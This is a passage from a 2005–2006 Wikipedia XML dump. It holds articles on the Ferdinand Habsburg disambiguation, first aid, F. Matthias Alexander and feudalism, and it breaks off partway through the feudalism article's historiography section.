[[de:Kapitalverbrechen]]
[[nl:misdrijf]]
[[es:crimen]]
[[fr:crime]]
[[da:Kriminalitet]]
[[simple:Crime]]
[[fi:Rikos]]</text>
    </revision>
  </page>
  <page>
    <title>Ferdinand Habsburg</title>
    <id>11295</id>
    <revision>
      <id>33386339</id>
      <timestamp>2005-12-31T16:20:51Z</timestamp>
      <contributor>
        <username>Gdr</username>
        <id>55814</id>
      </contributor>
      <comment>dates</comment>
      <text xml:space="preserve">'''Ferdinand Habsburg''' may refer to several members of the [[Habsburg]] dynasty:

* [[Ferdinand I, Holy Roman Emperor]] (1503–1564).
* [[Ferdinand II, Holy Roman Emperor]] (1578–1637).
* [[Ferdinand III, Holy Roman Emperor]] (1608–1657).
* [[Ferdinand I of Austria]] (1793–1875).

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>First aid</title>
    <id>11296</id>
    <revision>
      <id>42043771</id>
      <timestamp>2006-03-03T12:09:10Z</timestamp>
      <contributor>
        <username>Phil Boswell</username>
        <id>24373</id>
      </contributor>
      <comment>migrate {{web reference}} to {{[[template:cite web|cite web]]}} using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">[[Image:Star of life.svg|150px|thumb|[[Star of Life]] symbol ]]
[[Image:First_aid.svg|150px|thumb|First aid symbol]]
'''First aid''' is the immediate and temporary aid provided to a sick or injured person until medical treatment can be provided.  It generally consists of series of simple, life-saving medical techniques that a non-doctor or lay person can be trained to perform with minimal equipment.

==History==
The [[Knights Hospitaller]] were probably the first to specialize in battlefield care for the wounded.  [[St. John Ambulance]] was formed in 1877 to teach first aid (a term devised by the order) in large railway centres and mining districts.  The order and its training began to spread throughout the [[British Empire]] and [[Europe]].  As well, in 1859 Henry Dunant helped organize villagers in [[Switzerland]] to help victims of the Battle of Solferino.  Four years later, four nations met in Geneva and formed the organization which has grown into the [[International Red Cross and Red Crescent Movement|Red Cross]].  Developments in first aid and many other medical techniques have been fueled in large by wars: the [[American Civil War]] prompted [[Clara Barton]] to organize the [[American Red Cross]].  Today, there are several groups that promote first aid, such as the [[military]] and the [[Scouting]] movement.  New techniques and equipment have helped make today's first aid simple and effective.

==Training==
It is best to obtain training in first aid ''before'' a medical emergency occurs. One needs hands-on training by experts to perform first aid safely, and recommendations change, so that training should be repeated every three years. [[CPR]] recertification is recommended annually. Training in first aid is often available through community organizations such as the [[Red Cross]] and [[St. John Ambulance]].  In many countries in the [[Commonwealth of Nations]], [[St. John Ambulance]] provides first aid training and in some countries operates [[ambulance]] services. In Scotland, [[St. Andrew's Ambulance Association]] provides first aid training. In the United States, the [[American Heart Association]] and American CPR Training also offer first aid training.

In the United Kingdom, there are two main types of first aid courses offered. An &quot;Emergency Aid for Appointed Persons&quot; course typically lasts one day, and covers the basics, focusing on critical interventions for conditions such as [[cardiac arrest]] and [[bleeding|severe bleeding]], and is usually not formally assessed. A &quot;First Aid at Work&quot; course is a four-day course (two days for a requalification) that covers the full spectrum of first aid, and is formally assessed. Other courses offered by training organisations such as [[St John Ambulance]] include Baby &amp; Child Courses, and courses geared towards more advanced life support, such as [[defibrillation]] and administration of medical gases (oxygen &amp; entenox).

==Basic First Aid==
This is intended as a quick guide only.  Effective [[CPR]] and [[first aid]] require hands-on training that is best accomplished by attending a class in person. (See list above for organizations).

This section summarizes one common formula for performing first aid.

#'''Survey the scene''' What's going on? Is it safe for me to approach?
#'''Do a primary patient survey''' Airway, Breathing, Circulation (the &quot;ABC's&quot;)
#'''Call for emergency services'''
#'''Do a secondary patient survey''', and provide appropriate emergency first aid

===Survey the scene===
'''Survey the scene and approach the victim'''.  Determine whether the scene is safe.  Look for dangers, such as downed powerlines, traffic, unstable structures or fast-moving water.  Determine what may have happened, how many victims are involved, and if any bystanders can help.

If several persons appear to be injured, perform [[triage]].

===Survey the patient===
'''Perform an initial assessment'''.  Get consent from a conscious victim (parent/guardian if the victim is a minor) before providing care.  If the victim is unconscious, consent is implied.  Use infection control precautions and check for signs and symptoms of any life-threatening conditions and care for them.  To perform an initial assessment:

* Check the victim for consciousness and obtain consent if the victim is conscious;
* Check the [[ABC FirstAid|ABCs]] (airway, breathing and circulation); and
* Check for severe bleeding.

Provide brief care for the conditions. If the patient lacks air or circulation, they may begin to suffer brain damage after approximately four minutes. After ten minutes, they most likely will have some permanent brain damage. (Although unusual, some severly [[hypothermic]] drowning victims have been successfully revived with no brain damage after an extremely long period without oxygen.) To care for breathing and circulation means first clearing the airway, and briefly attempting to restart their breathing or circulation with rescue breathing or [[CPR]].  This step is crucial, because an unconscious person's airway can be blocked by a normal, comfortable-looking head position (e.g., on their back with a pillowed head).  Often, simply tilting the head back will open the airway and restart their breathing.  Likewise, many people recovering from a blocked airway vomit, and if they are unconscious, they can drown in the vomit.  The standard prevention for both these issues is to turn a breathing, unconscious patient on their side, turning their head and spine in the same movement to avoid spinal injury, pillowing their head on one of their arms. 

Do not move casualties unless it is necessary to remove them from danger, or to make treatment possible (such as onto a hard surface for [[cardiopulmonary resuscitation|CPR]]).

Calling for emergency medical services must take priority over extended care such as long term rescue breathing or extended [[cardiopulmonary resuscitation|CPR]], since these techniques are intended to gain time for emergency services to arrive as part of the chain of survival.  However, if bystanders are available, both can be pursued at the same time.

===Call for emergency services===
The next step is to activate [[emergency medical services]] by [[call for help|calling for help]] using a local [[emergency telephone number]], such as ''[[9-1-1|911]]'' in Canada or the United States, ''999'' in the [[United Kingdom|UK]], ''112'' in most of continential [[Europe]], ''000'' in Australia , ''111'' in New Zealand and ''120'' in the mainland of the Peoples' Republic of China. Operators will generally require the caller's name and location and some information on person that is being called about (level of consciousness, injuries, name if known, chronic medical illnessess if known).

If you ask bystanders to call an ambulance for you, make sure they report back to you once released by the emergency operator to confirm that the call has been made.  See ''[[Call for help]]''.

Also note that in some circumstances, such as in remote areas or on the battlefield, outside help may be unavailable.  The skill of  [[wilderness first aid]] covers other measures including evacuation, but is no substitute for a medical professional if one can be located.

===Do a secondary survey and begin extended care===
The '''secondary survey''' is to gather information about conditions or injuries that may not be life threatening, but may become so if not cared for.

A properly trained and certified first aider performs three stages in the secondary survey:
#'''Interview'''
#'''Vitals'''
#'''Head-to-toe examination'''

Perform a secondary survey only if you are sure that the victim has '''no life-threatening ([[ABC (first aid)|ABC]]) conditions'''.

It is also essential that stages be performed in order, with the interview first, so that in case the patient loses consciousness all verbal medical and related information has been obtained.  Additionally, any information obtained should be recorded, with some organizations employing standard forms that have multiple copies for emergency medical personnel.{{ref|firstaidform}}

====1) Interview the victim====
* Signs and Symptoms - Visible indications of injury and patient reported sensations (e.g. pain)
* Allergies - especially those relevant to injury (i.e. allergy to latex, pencillin, etc.)
* Medications - what current or recent medications the patient is taking
* Past Medical History - any related history, or medical conditions that could complicate treatment (e.g. heart condition)
* Last meal - last food and/or drink
* Events - confirm how injury most likely occurred

(Note - interview should include bystanders as well, to supplement info from the patient)

====2) Vitals====
(Most certifications at the first-aid level include only the following four vitals)

** LOC - Level of Consciousness description (e.g. - alert, aware, disoriented, confused, unresponsive)
** Breathing Rate - Number of breaths per minute.  Calculate by counting breaths for ten seconds and multiplying by six, or 15 seconds and multiplying by four.
** Pulse Rate - Number of heartbeats per minute.  Calculate by counting pulse for ten seconds and multiplying by six, or 15 seconds and multiplying by four.  Pulse for an unconscious person is taken on the neck (carotid pulse) and on the wrist (radial pulse) for a conscious person.
** Skin Condition - Pale vs. normal, cool/cold vs. hot, clammy/sweaty vs. dry

====3) Head-to-toe examination====
* Perform a head-to-toe examination (for a child, toe-to-head)
**Look for medical alert bracelets or medallions.
**Compare one side of the patient against the other
**Look for pain, or deformity

==Wilderness (or mass emergency) First Aid==
'''Wilderness first aid''' is the provision of [[first aid]] under conditions where the arrival of emergency responders or the evacuation of an injured person may be delayed due to constraints of terrain, weather, and available persons or equipment.  It may be necessary to care for an injured person for several hours or days.

In the [[United States]], '''Wilderness First Aid''' (WFA) is the name of a certification in wilderness medicine that covers wilderness first aid; depending on the laws applicable where it is practiced, it may impose specific responsibilities and confer specific immunities on duly-diligent practitioners.  For instance, the practicing of certain rules of WFA, by someone certified in the usual &quot;street&quot; First Aid discipline but not in WFA (or a higher Wilderness Medicine qualification), could result in civil liability or perhaps even criminal prosecution.

A classic problem is whether to leave an injured person or stay, if only one person is ambulatory. Barring special circumstances, the injured one should be stabilized, placed in shelter, and marked in a way visible from the air (usually a single long line of cut brush or trampled snow).  Then the injured one should be left alone, while the other goes for help.  

If there are three or more, the healthy group should be split into halves by speed, with the fastest going for help, and the others remaining to make the preparations.  (In a party of four, it would be a rare hiker who would be better sent for help alone, rather than sent in a sub-party of two.)

Ensuring the rescuers can find the injured person is crucial.  If a [[personal locator beacon]] is available, it should be triggered and placed with the injured person.  If enough help is available, air-visible markings may be worthwhile.  Where surveyor's tape is available within the party (and assuming clear trails are available), it should be used by the sub-party going for help to back up memory and notes with tape-flagging of the toward-the-injury-location choices of trail at intersections.  (When an injury location is off clear trails, or distances that make it impractical to keep blazes of tape within sight of each other, forks in watercourses should be used as substitutes for trail intersections.)

See [[medical emergency]] for a list of medical emergencies and specific guidance directed towards first-aiders, [[Outdoor Emergency Care]] technicians and [[Emergency medical technician|EMT]]s, often including [[evacuation]] criteria.

Training in wilderness first aid is available.  Any group of persons traveling in wilderness should have at least one person trained in wilderness first aid and carry a [[first aid kit]] designed for the area they are traveling in.

[[Nursing]] care is not part of normal [[first aid]] but is part of wilderness first aid.

==Conditions that often require first aid==
Also see [[medical emergency]]

*[[Altitude sickness]], which can begin in susceptible people at altitudes as low as 5,000 feet, can cause potentially fatal [[cerebral edema|swelling of the brain]] or [[pulmonary edema|lungs]].  
*[[Anaphylaxis]], a life-threatening condition in which the airway can become constricted and the patient may go into [[shock]].  The reaction can be caused by a systemic allergic reaction to [[allergen]]s such as insect bites or peanuts. Anaphylaxis is initially treated with injection of  [[epinephrine]].
*[[Bone fracture]] a break in a bone initially treated by stabilizing the fracture with a [[splint (medical)|splint]].
*[[Burn (injury)|Burns]], which can result in damage to tissues and loss of body fluids through the burn site.
*[[Choking]], blockage of the airway which can quickly result in death due to lack of [[oxygen]] if the patient's trachea is not cleared, for example by the [[Heimlich maneuver]].
*[[Childbirth]].
*[[Cramp]]s in muscles due to lactic acid buildup caused either by inadequate oxygenation of muscle or lack of water or salt.
*[[Diving disorders]] resulting from too much pressure.
*[[Gastrointestinal bleeding]].
*[[Heart attack]], or inadequate blood flow to the blood vessels supplying the heart muscle.
*Heat stroke, also known as sunstroke or [[hyperthermia]], which tends to occur during heavy exercise in high humidity, or with inadequate water, though it may occur spontaneously in some chronically ill persons.  Sunstroke, especially when the victim has been unconscious, often causes major damage to body systems such as brain, kidney, liver, gastric tract.  [[coma|Unconsciousness]] for more than two hours usually leads to permanent disability.  Emergency treatment involves rapid cooling of the patient.
*[[Heat syncope]], another stage in the same process as heat stroke, occurs under similar conditions as heat stroke and is not distinguished from the latter by some authorities.  
*[[Hemorrhage]], or heavy bleeding, treated by applying pressure (manually and later with a [[pressure bandage]]) to the wound site and elevating the limb if possible.
*[[Hyperglycemia]], or [[diabetic coma]].
*[[Hypoglycemia]], or [[insulin shock]]
*[[Hypothermia]], or exposure, occurs when a person's core body temperature falls below 33.7°C (92.6°F).  First aid for a mildly hypothermic patient includes rewarming, but rewarming a severely hypothermic person could result in a fatal [[arrhythmia]], an irregular heart rhythm.  
*Insect and animal [[bite (medicine)|bites]] and stings.
*[[Strain (injury)|Muscle strain]].
*[[Poisoning]], which can occur by injection, inhalation, absorption, or ingestion.
*[[Sprain]], a temporary [[dislocation]] of a [[joint (anatomy)|joint]] that immediately reduces automatically but may result in ligament damage.
*[[Stroke]] a temporary loss of blood supply to the brain.
*[[Pneumothorax|Sucking chest wound]], a life threatening hole in the chest which can cause the chest cavity to fill with air and prevent the lung from filling, treated by covering with an [[occlusive dressing]] to let air out but not in.
*[[Toothache]], which can result in severe pain and loss of the tooth but is rarely life threatening.
*[[Wound]]s and [[bleeding]], including [[laceration]], [[incision]] and [[abrasion]], and [[avulsion]], which present risk of infection and should be irrigated with sterile [[normal saline]] and may require [[antibiotic]] medication.

==Providing first aid==
* [[Emergency Action Principles]]
* [[Wilderness first aid]]
* [[Emergency medical service]]
* [[Good Samaritan law]]

==Techniques and procedures of first aid==
* [[Artificial respiration]]
* [[Cardiopulmonary resuscitation]] (CPR)
* [[Occlusive dressing]]
* [[Oxygen first aid]]
* [[Triage]]
* [[Tourniquet]]
* [[Sub-abdominal thrusts]]

==Important Note==
Although commonly associated with first aid, the symbol of a red cross is well-protected symbol of the [[Red Cross]] and should not be used to represent first aid or other health aspects, as regulated by the [[Geneva Conventions]] and other international law.

==References==
# {{note|FirstAidForm}} {{cite web
 | title = First Aid Form from CWC Services
 | url = http://firstaidform.cwc-services.com/cwcfaorder.htm 
 | accessdate = Dec 28
 | accessyear = 2005
 }}

==External links==
{{wikibookspar||First Aid}}
*[http://www.cpr-training-classes.com/individual.htm#AL Find First Aid training classes throughout the US, Canada, &amp; Mexico]
*[http://www.sja.org.uk/ifirstaid First Aid advice] from [[St. John Ambulance]], including downloadable audio files of spoken tips.
*[http://www.emergencyinstitute.us Emergency Institute]
*[http://www.healthy.net/clinic/firstaid/ HealthWorld Online - Emergency &amp; First Aid]
*[http://med.mywebcities.com First aid tips and tutorials]
*[http://www.wildernessmanuals.com/manual_4/index.html Wilderness manuals: First aid] - U.S. Army manual.
*[http://www.vbgov.com/dept/ems/firstaid/ VBgov.com - First Aid Tips]

[[Category:Emergency medicine]]
[[Category:First aid|*]]

{{Link FA|fr}}

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  <page>
    <title>F. Matthias Alexander</title>
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      <text xml:space="preserve">'''Frederick Matthias Alexander''' ([[January 20]], [[1869]]&amp;ndash;[[October 10]], [[1955]]) was an actor who developed the educational process that is today called the [[Alexander Technique]]&amp;mdash;a method of helping people learn to free habitual reactions of moving, learned by improving one's [[kinesthetic]] judgment.  He was born in [[Tasmania]], later moved to [[Melbourne]], [[Australia]], and finally settled in [[London]] in 1904.

Alexander developed such concepts as the primary control, verbal visualization, avoiding reaction during speaking, and using modeling in teaching (guiding movement in contact with the student to show quality and direction.) 

There are now many books about the Alexander Technique.  One of the first and best is ''[[Freedom to Change]]'' by [[Frank Pierce Jones]].   

Alexander himself was a [[Shakespeare]]an [[oratory|orator]], and had a problem of losing his [[human voice|voice]] onstage. Careful observation of himself with mirrors revealed that he habitually stiffened his body when about to recite or to a lesser extent before speaking. His technique was based on finding his way past his problems, which he decided were based on the way he ''used himself.''  

Many famous actors, writers and philosophers of the turn of the [[19th century]] were his students. According to some, the technique was important in the career of educational philosopher [[John Dewey]]. The two men met around [[1918]] in [[New York City]] when Dewey had a series of lessons. Dewey felt that Alexander taught him how to stop and think before acting. He said that his study of the Alexander Technique enabled him to hold a philosophical position calmly once he had taken it or to change it if new evidence appeared.

== Alexander's writing ==

Alexander's books have a reputation for being difficult to read. Part of the difficulty is that he is discussing a radically new hypothesis. Most people trust their sense of position and carriage, but Alexander shows again and again that we are wrong to trust it. 

Alexander through his experience was forced to reject arbitrary separation of mind and body. He talked about the 'psycho-physical mechanism', the 'self', the 'organism'. He would not have used the words 'mental' or 'physical' at all but that &quot;... there are no other words at present which adequately express manifestations of psycho-physical activity ...&quot;. Because he was using everyday words to describe new ideas he often digressed (footnotes were a favourite way) to explain the sense in which he was using this particular word.

Alexander was a man of his times. He read [[Thomas Huxley]], [[Charles Darwin]], and [[Herbert Spencer]], as well as [[William Shakespeare|Shakespeare]] and [[George Gordon Byron, Lord Byron|Byron]], and his writing reflects an &quot;evolutionary&quot; style. He tried to evoke the complete process he was using in almost every sentence - which many people today find to be long-winded.

He chose his words with care. From [[John Dewey]]'s introduction to ''Constructive Conscious Control'' : 

&quot;For although there is nothing esoteric in his teaching, and although his exposition is made in the simplest English, free from technical words, it is difficult for anyone to grasp its full force without having actual demonstration of the principle in action.&quot;

== Alexander's Books ==

=== Man's supreme inheritance ===
''Man's supreme inheritance : conscious guidance and control in relation to human evolution in civilization''. (Long Beach, CA, USA : Centreline Press, 1988.) 95 p. (This edition incorporates two pamphlets published previously: ''The theory and practice of a new method of respiratory re-education'', 1907; and ''Re-education of the kinaesthetic systems concerned with the development of robust physical well-being'', 1908.)

This is Alexander's first attempt to set down his [[philosophy]] and method in written form. ''Man's supreme inheritance'' is the ability to inhibit habitual control of our actions and substitute conscious reasoned control. &quot;By and through consciousness and the application of a reasoning intelligence, man may rise above the powers of all disease and physical disability&quot;. Heady stuff! Alexander had been teaching his technique to others for about 17 years when he wrote this book, and six of those years were spent in London. He had even then an enormous number of examples of the success of his method of re-education. The difference is that Alexander, through his books and his teachings, showed us the practical steps we can take to make the dream come true.

The thesis goes something like this: in prehistoric times we were well served by instinctive or habitual control of our actions. Change was always at a slow pace and we had plenty of time to adapt to any new situations. In the modern world the pace of change is much faster (even around the turn of the century - how much more so now). Our habitual control is no longer adequate, and more often leads us astray into patterns of use that are harmful, causing disease and deformity. All forms of physical culture utilising our habitual guidance only serve to accentuate this effect. Alexander argues that the sub-conscious is merely the complete set of habits.

As we have progressed along the road of civilisation, we have learned to inhibit our habits of thought and our desires. This is an evolutionary step - we are no longer natural animals. Any separation of the mind and body is completely arbitrary and in practice the two cannot be separated. What we need to do now is bring our habitual control of our whole organism (mind and body together as one) under conscious control. Alexander contends, and has demonstrated, that any act using voluntary muscle can be controlled - any unconscious habit can be elevated to consciousness and controlled. 

While consciousness is the gift that sets us apart from the other animals, it is also a burden to us - we must employ it in every sphere or else we go wrong.


===Constructive conscious control of the individual===
''Constructive conscious control of the individual''. (London : Methuen, 1923.) With an introduction by Professor John Dewey.

&quot;During the last 500 years in all spheres of remedial and curative activity, the standard of sensory appreciation, of general coordination and of reliable use of the mechanisms of the organism has been and still is being gradually lowered, with the associated serious conditions which are apparent today.&quot;

''Constructive Conscious Control'' is the definitive exposition of Alexander's philosophy and the Alexander Technique; the principle and the procedure. [[Frank Pierce Jones|Jones]] notes that Alexander always considered it his most important book. &quot;It was more ambitiously planned than any of the others; the examples and language were carefully chosen; and it had the benefit of Deweys advice&quot;. 

Alexander received much correspondence after Man's Supreme Inheritance was published and he acknowledges the questions of readers. &quot;In this book I am most anxious to answer such oft-repeated questions as: &quot;why are our instincts less reliable than those of our early ancestors?&quot;; &quot;at what stage of man's evolution did this deterioration begin?&quot;; &quot;what is the cause of our present-day individual and national unrest?&quot;; &quot;can you set down principles which will enable us to decide as to the best methods of educating our children.&quot;

Alexander's vision is clear in this book. For the human race to advance and be uplifted, it is necessary to function &quot;as a psycho-physical unit&quot; and by applying conscious guidance and control of our selves. To achieve our potential, to continue to move along the evolutionary scale, and to achieve health and happiness, it is necessary for us to restore our debauched sensory appreciation and to re-educate our use of our selves.

This book is a must for all serious students of the Alexander Technique. All the key concepts are introduced and discussed at length.


===The use of the self===
''The use of the self : its conscious direction in relation to diagnosis, functioning and the control of reaction''. (London : Victor Gollancz, 1985.) 23 p. With an introduction by Wilfred Barlow, first published 1932.

&quot;A classic of scientific observation.&quot; - British Medical Journal (from the book jacket).

In chapter one of this book Alexander leads us through the voyage of discovery, from the throat problems which threatened his career as an elocutionist, through to the formulation of the principles of what we know as the Alexander Technique. Major turning points and shifts of understanding are highlighted.

* discovery that the senses are untrustworthy
* the shift from separation to mind/body unity; no act is wholly mental or physical
* discovery of primary control
* importance of first inhibiting habitual reactions
*use of conscious direction in combination with inhibition
*Through two case studies, the golfer and the stutterer, he shows how these principles work in practice.

From the beginning Alexander had mixed experiences with the medical profession. It was a doctor who first convinced him to take his technique to a larger audience in London, and afterwards some of his most notable defenders and followers were doctors. Alexander was however openly critical of the profession, which put many doctors off. Many thought he was merely another quack. Still, doctors often sent patients to him as last resort - and it seems that in all cases they experienced some relief after being re-educated by Alexander. He never claimed to cure though - he treated poor conditions of use. With better use most patients found physical relief since their body/mind was functioning better.

The ''Use of the Self'' dicusses the need of the medical profession to be aware of poor use. Alexander has shown that poor use is a constant influence for ill in a person, which lowers their level of functioning and leads to disease. Present medical training doesn't include any consideration of use, and the medical profession is limited in its ability to diagnose and treat illness. 

Dr Wilfred Barlow commented &quot;We can only marvel at the courage, clear-sightedness and perseverance which underlies this book&quot;. The book is quite readable and the first chapter gives a very valuable insight into the development of the principles of the technique. It would be worth reading this before ''Constructive Conscious Control'' as it will help you to see where Alexander is coming from.


===The universal constant in living===
''The universal constant in living''. (Manchester : Re-educational Publications, 1941.) With an appreciation by G. E. Coghill.

The universal constant in living is that: '''USE AFFECTS FUNCTION'''

That is to say that your manner of use of your self is a constant influence for good or ill on the level of function of your self. Much of this book is devoted to demonstrating that constant influence, and its consequences and practical considerations.

[[Frank Pierce Jones]] says that this book should be considered as a long appendix to the other books and it contains little organisation. However, he also points out that there is much in the book that makes it worth reading. When it covers the same ground as the previous books it adds new emphasis. The appreciation by [[G. E. Coghill]] is particularly significant. Coghill was a very eminent scientist who had worked in the areas of physiology and anatomy and had discovered something like Alexander's primary control in the lower vertebrates. Coghill ends his appreciation with: &quot;I regard his methods as thoroughly scientific and educationally sound.&quot;

The Universal Constant in Living opens with a theme that was echoed by Rene Dubo in his book The Mirage of Health, although there is nothing to show that they were aware of each other's work. The book opens with:

&quot;Few of us hitherto have given consideration to the question of the extent to which we are individually responsible for the ills that our flesh is heir to; this is because we have not come to a realisation of the faulty and often harmful manner in which we use ourselves in our daily activities and even during sleep, or of the misdirection strain and waste of energy due to this misuse.&quot;

To Alexander the individual is paramount. We cannot blame scientists, or the government, or any outside agency for our lack of health and happiness. It is our responsibility alone. 

This book is in part a response to those followers of the technique who seemed to Alexander to be watering down the technique. He complains that they make no mention of any technique through which these concepts can be put into practice. This was all that Alexander had ever tried to do. He is emphasising the oneness of control of use and reaction, and stressing the importance of mind/body unity in practice. 

There is a quality about this book that is not found in the others. It lacks the grandeur of ''Man's Supreme Inheritance'', the vision of ''Constructive Conscious Control'', or the practicality of ''Use of the Self''. One feels that at 72, Alexander is somewhat exasperated that people have not taken up his ideas to the extent he would have wished; the problems and solutions are so clear to him. This attitude is highlighted in the second to last chapter called 'Stupidity in Living'. Other writers tell us that to a great extent he brought this on himself, not trusting even his best and most faithful followers. 

Sections of the book are highly critical of the people he obviously feels should know better, since he has explained it all to them. If only they could see that all their efforts are wasted since they continue to rely on habitual guidance and control etc. Alexander severely criticises the Report on Physical Education by the [[British Medical Association]] - they fail to come up with anything which was different in principle from that which had come before. He dismisses physiologists, since the use of those he had met was as bad as any person. From this he concludes that the study of physiology cannot and does not help a person to change their use for the better.

The ''Universal Constant in Living'' shows how Alexander's ideas have matured. It is perhaps best read after the other books, as [[Frank Pierce Jones]] has suggested, as an appendix.

==External links==

* [http://www.alexandertechnique.com The Complete Guide to the Alexander Technique]
* [http://www.stat.org.uk UK Society of The Teachers of Alexander Technique]
* [http://www.isatt.net Irish Society of Teachers of Alexander Technique]
* [http://www.geocities.com/agarap/dewey John Dewey vs. the Alexander Technique]
* [http://www.alexander-tech.com Useful information about how F.M. Alexander deveoped his Technique]

[[Category:1869 births|Alexander, F. Matthias]]
[[Category:1955 deaths|Alexander, F. Matthias]]

[[de:Frederick Matthias Alexander]]
[[fr:Matthias Alexander]]</text>
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  <page>
    <title>Feudalism</title>
    <id>11298</id>
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      <comment>/* Lords, vassals and fiefs */</comment>
      <text xml:space="preserve">[[Image:Rolandfealty.jpg|thumb|right|250px|[[Roland]] pledges his [[fealty]] to [[Charlemagne]]; from a manuscript of a ''[[chanson de geste]]''.]]
'''Feudalism''' refers to a general set of reciprocal [[law|legal]] and [[military]] obligations among the warrior [[nobility]] of [[Europe]] during the [[Middle Ages]], revolving around the three key concepts of [[lord]]s, [[vassal]]s, and [[fief]]s.

Defining feudalism requires many qualifiers because there is no broadly accepted agreement of what it means. In order to begin to understand feudalism, a working definition is desirable.  The definition described in this article is the most senior and classic definition and is still subscribed to by many historians.

However, other definitions of feudalism exist. Since at least the [[1960s]] many [[medieval]] historians have included a broader social aspect, adding the [[peasant|peasantry]] bonds of [[Manorialism]], referred to as a &quot;[[feudal society]]&quot;. Still others, since the [[1970s]], have re-examined the evidence and concluded that feudalism is an unworkable term and should be removed entirely from scholarly and educational discussion (see [[Feudalism#Revolt against the term feudalism|Revolt against the term feudalism]]), or at least only used with severe qualification and warning.

Outside of a European context, the concept of feudalism is normally only used by analogy (called '''semi-feudal'''), most often in discussions of [[Japan]] under the [[shogun]]s, and, sometimes, nineteenth-century [[Ethiopia]]. However, some have taken the feudalism analogy further, seeing it in places as diverse as [[Ancient Egypt]], [[Parthia|Parthian empire]], [[Indian feudalism|India]], to the [[History of the Southern United States#Antebellum Era (1781-1860)|American South of the nineteenth century]]. [http://college.hmco.com/history/readerscomp/mil/html/mh_017900_feudalism.htm]

==Etymology== 
The word &quot;feudalism&quot; was invented in the seventeenth century, based on the [[Late Latin]] ''feudum'', which was borrowed from [[Old High German|Germanic]] ''*[[fehu]]'', a commonly used term in the [[Middle Ages]] for a [[fief]] (land held under certain obligations by ''feodati''). Even though the word components are from the Middle Ages, the concept of feudalism was not invented until the [[seventeenth century]], the modern era. 

==What is feudalism?==    
::''See also [[Feudal society]] and [[Feudalism (examples)]]''    

Three elements existed and characterize the period: [[lord]]s, [[vassal]]s and [[fief]]s. Feudalism is defined by how these three elements fit together.     

A [[lord]] was a noble who owned land. A [[vassal]] was a person who was granted land by the lord. The land was known as a [[fief]]. In exchange for the fief, the vassal would provide military service to the lord. The obligations and relations between lord, vassal and fief form the basis of feudalism.

===Lords, vassals and fiefs===
        
Before a lord could grant land (a fief) to someone, he had to make that person a vassal. This was done at a formal and symbolic ceremony called a [[commendation ceremony]] comprised of the two-part act of [[homage]] and oath of [[fealty]]. During homage, the vassal would promise to fight for the lord at his command. ''Fealty'' comes from the Latin ''fidelitas'', or faithfulness; the oath of fealty is thus a promise that the vassal will be faithful to the lord. Once the commendation was complete, the lord and vassal were now in a feudal relationship with agreed-upon mutual obligations to one another.

The lord's principal obligation was to grant a fief, or its revenues, to the vassal; the fief is the primary reason the vassal chose to enter into the relationship. In addition, the lord sometimes had to fulfill other obligations to the vassal and fief. One of those obligations was its maintenance. Since the lord had not given the land away, only loaned it, it was still the lord's responsibility to maintain the land, while the vassal had the right to collect revenues generated from it. Another obligation that the lord had to fulfill was to protect the land and the vassal from harm.     

The vassal's principal obligation to the lord was to provide &quot;aid&quot;, or military service. Using whatever equipment the vassal could obtain by virtue of the revenues from the fief, the vassal was responsible to answer to calls to military service on behalf of the lord. This security of military help was the primary reason the lord entered into the feudal relationship. In addition, the vassal sometimes had to fulfill other obligations to the lord. One of those obligations was to provide the lord with &quot;counsel&quot;, so that if the lord faced a major decision, such as whether or not to go to war, he would summon all his vassals and hold a council.  The vassal may have been required to provide a certain amount of his farm's yield to his lord. The vassal was also sometimes required to grind his wheat and bake his bread in the ovens owned and taxed by his lord.   

The land-holding relationships of feudalism revolved around the fief. Depending on the power of the granting lord, grants could range in size from a small farm to a much larger area of land. The size of fiefs was described in irregular terms quite different from modern area terms; see [[medieval land terms]]. The lord-vassal relationship was not restricted to members of the laity; [[bishops]] and [[abbot]]s, for example, were also capable of acting as lords.

There were thus different 'levels' of lordship and vassaldom. The King was a lord who loaned fiefs to aristocrats, who were his vassals. Meanwhile the aristocrats were in turn lords to their own vassals, the peasants who worked on their land.

===Examples of feudalism===    

:''Main article: [[Feudalism (examples)|Feudalism examples]]''

Examples of feudalism are helpful to understand feudal society because feudalism was practiced in many different ways, depending on location and time period. A high-level encompassing conceptual definition will not always provide the reader with the more practical understanding available from historical examples.

==History of the term &quot;feudalism&quot;==
In order to better understand what the term feudalism means, it is helpful to see how it was defined and how it has been used since its seventeenth century creation.

===Invention of the concept of feudalism===
The word ''feudalism'' was not a medieval term. It was invented by French and English lawyers in the [[17th century]] to describe certain traditional obligations between members of the warrior aristocracy. The term first reached a popular and wide audience in [[Charles de Secondat, Baron de Montesquieu|Montesquieu]]'s ''De L'Esprit des Lois'' (''[[The Spirit of the Laws]]'') in [[1748]]. Since then it has been redefined and used by many different people in different ways.

===The concept of feudalism in history===
The term feudalism has been used by different political philosophers and thinkers throughout history.

====Enlightenment thinkers on feudalism====
Starting in the late [[18th century]] during the [[French revolution]], radicals wrote about feudalism in order to denigrate the antiquated system of the ''[[Ancien Régime]]'', or French monarchy. This was [[the Age of Enlightenment]] when reason was king and radicals were painting the [[Middle Ages]] as the &quot;[[Dark Ages]]&quot;. Enlightenment authors generally mocked and ridiculed anything from the &quot;Dark Ages&quot; including Feudalism, projecting its negative characteristics on the current French monarchy as a means of political gain.

====Karl Marx on feudalism====
Like the French revolutionaries, [[Karl Marx]] also used the term feudalism for political ends. In the nineteenth century, Marx described feudalism as the economic situation coming before the inevitable rise of [[capitalism]]. For Marx, what defined feudalism was that the power of the ruling class (the aristocracy) rested on their control of the farmable lands, leading to a [[class society]] based upon the exploitation of the peasants who farm these lands, typically under [[serfdom]]. “The hand-mill gives you society with the feudal lord; the steam-mill society with the industrial capitalist.” ([[The Poverty of Philosophy]] ([[1847]]), chapter 2). Marx thus considered feudalism with a purely economic model.

===Historians on feudalism===
The term feudalism is, among medieval historians, one of the most widely debated concepts. There exist many definitions of feudalism and indeed some have revolted against it, saying the term should not be used at all.  

====Debating the origins of English feudalism====
In the late [[19th century | nineteenth]] and early [[twentieth century]] historians [[John Horace Round]] and [[Frederic William Maitland]], who focused on medieval Britain, arrived at different conclusions as to the character of [[England|English]] society prior to the start of [[Normans|Norman]] rule in 1066. Round argued for a Norman import of feudalism, while Maitland contended that the fundamentals were already in place in Britain. The debate continues to this day.

====Ganshof and the classic view of feudalism====
